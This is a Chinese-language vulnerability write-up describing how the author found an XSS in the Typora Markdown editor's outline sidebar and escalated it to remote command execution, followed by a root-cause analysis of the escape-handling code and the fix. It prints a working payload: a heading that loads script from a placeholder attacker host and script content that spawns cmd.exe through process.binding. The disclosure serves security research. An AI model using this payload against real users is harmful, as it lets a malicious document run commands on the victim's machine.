Typora XSS 到 RCE (上)
前言:
在去年的12月份,我在知乎上看到了一篇名為《 如何在Typora編輯器上實現遠端命令執行 》 的文章,作者發現了 Typora 對 iframe
標籤處理不當造成的 XSS 漏洞,而正如文章作者所說:針對Electron應用,大部分時候我們只要找到了 XSS 漏洞,也就約等於完成了命令執行。終端使用者只需開啟攻擊者構造好的惡意文件,就會被攻擊。
這篇文章使我感到非常後怕,因為我平時里正是使用 Typora 編寫 Markdown 文件,而我身邊也有不少朋友同樣是 Typora 的忠實使用者。因此我決定要深入挖掘一下,看看 Typora 是否還有其他漏洞。於是在陸續結束了期末考試和校內招新賽(Hgame)準備之後,我在兩天時間裡,也挖到了三個Typora XSS漏洞,同樣它們也可以造成RCE。
Typora官方為此在兩天之內連續釋出了兩個安全更新,截止目前(2019.2.4),還有最後一個漏洞未完成修復。
這裡主要分享一下我挖掘到這三個漏洞的過程和漏洞分析。
漏洞一:
黑盒測試:從輸出點入手
如果是使用過 Typora 的師傅應該都知道,Typora 的實時預覽模式中,對使用者輸入的非法(被認為可能造成 XSS 攻擊的) HTML
標籤的處理並不是像其他編輯器那樣嚴格地直接過濾掉,而是會在 HTML編碼 後進行安全輸出:
那麼可不可能存在一個輸出點,標籤未經編碼就直接輸出了呢?
我們要尋找的是預設情況下,使用者開啟文件之後無需任何操作就能看到的輸出位置,這樣的位置上的 XSS 才是有意義的。那麼除了實時預覽介面就只剩下了左側的大綱欄:
Typora 的大綱欄,其實就是自動生成了一個 TOC
(Typora功能上真的很貼心),會將各個標題對應的錨點連結逐級排列在左側邊欄。那麼我們通過開發者工具對這裡的輸出進行測試:
我們看到,左側的大綱欄似乎並沒有原樣直接輸出標題中的內容,而是除去了 script
標籤。
那麼來看看如果輸入的是合法的標籤呢?
這裡 <i>
標籤同樣被過濾掉了,這說明這個輸出點預設只輸出文本內容。
那麼我們如果把標籤以文字、而非 HTML 標籤的形式插入進去呢?
我們都知道在 Markdown 語法中,如果我們想表示 <
>
這樣的 HTML 保留字元,我們就需要在輸入時用反斜槓進行轉義,於是嘗試如下輸入:
# <i>H1</i>
結果:
可以看到在大綱欄中成功插入了HTML標籤。
嘗試構造 XSS:
# <script>alert(1)</script>
當然,也可以引入外部檔案來更方便的實施攻擊。值得一提的是,在官方修復上一個XSS的時候,同時也禁用了 require
函式,限制了通過 require
引入 child_process
執行系統命令的方法,不過沒關係,我們還有 process
,那麼下面是一個執行系統命令的例子:
#<script src=https://hacker_s_url/rce.js></script>
//rce.js 's content var Process = process.binding('process_wrap').Process; var proc = new Process(); proc.onexit = function (a, b) {}; var env = process.env; var env_ = []; for (var key in env) env_.push(key + '=' + env[key]); proc.spawn({ file: 'cmd.exe', args: ['/k netplwiz'], cwd: null, windowsVerbatimArguments: false, detached: false, envPairs: env_, stdio: [{ type: 'ignore' }, { type: 'ignore' }, { type: 'ignore' }] });
使用者開啟文件的效果如下:
漏洞分析 :
漏洞雖然挖到了,但是為了更好的理解,我們還需要分析漏洞的成因,Typora 並不是開源軟體,因此我們只能自行還原並閱讀程式碼來定位漏洞:
開啟開發者工具的 Source 選項卡,可以看到整個專案的目錄結構還是非常清晰的:
app/window
下面的 frame.js
就是負責 Markdown
解析、頁面渲染等主要功能的程式碼檔案,也是我們重點關注的內容。 lib.asar
資料夾下面則是 Typora 依賴的各種第三方庫。
開啟 frame.js
並進行格式化,可以看到整個檔案超過52000行,對於一款軟體而言程式碼量已經很小了,並且程式碼未經過混淆、也沒有反除錯,僅通過 Devtools 我們就可以比較輕鬆的完成分析和除錯。
首先通過類名快速定位到更新大綱欄內容部分的程式碼:
可以看到在經過 i.output
這個方法之後,原本轉義的字元完成了逃逸,並且作為 HTML
輸出在了大綱欄和類名為 .md-toc-inner
的標籤之中(因此在渲染 [TOC]
的時候也會有同樣的問題)。那麼我們來跟入 i.output
看一下為什麼轉義後的字元會逃逸:
i.output
方法實際上是一個迴圈通過正則表示式匹配各種型別的標籤、屬性,然後對他們分別進行進一步處理的函式:
我們發現我們的輸入滿足了 this.rules.escape
的匹配規則:
可以看到在這一步,首先通過正則表示式
/^\([\`*{}[]()#+-.!_>$|<~"'&])/
匹配轉義後的字元,然後將轉義字元對應的值和型別(這裡是 escape
)賦給一個新物件, push
到陣列 b
中,並刪除匹配到的字元。
通過如此往復迴圈,最終當 變數 e==""
也就是所有輸入都處理結束時,迴圈停止。最後得到陣列 b
的值變為:
隨後陣列 b
被 傳入函式 S
,處理後返回:
我們再跟入函式 S
:
可以看到整個邏輯是將傳入的陣列 b
裡面的各個物件通過函式 t
逐個處理成字元後再拼接成字串返回,跟入函式 t
:
可以看到該函式對不同型別的物件會進行不同的處理,值得注意的是型別為 tag
的物件的處理是直接返回空字元,這就解釋了之前我們測試結果中的所有的標籤都會被過濾的原因。
而當判斷了輸入的物件的中的 type
為 escape
時則會直接返回物件的 text
屬性,導致了轉義字元的逃逸。就這樣,最終 i.output
方法的返回值,也就是 n
的值為:
被作為 HTML
輸出後,自然就造成了XSS。
修復方法:
在上述的函式 t
中,當判斷物件型別為 escape
時,返回物件 text
屬性的 HTML
編碼
後記:
該漏洞已經在 v0.9.63 中被修復。下一篇文章我將分享我從原始碼入手發現的另外兩個 XSS 漏洞。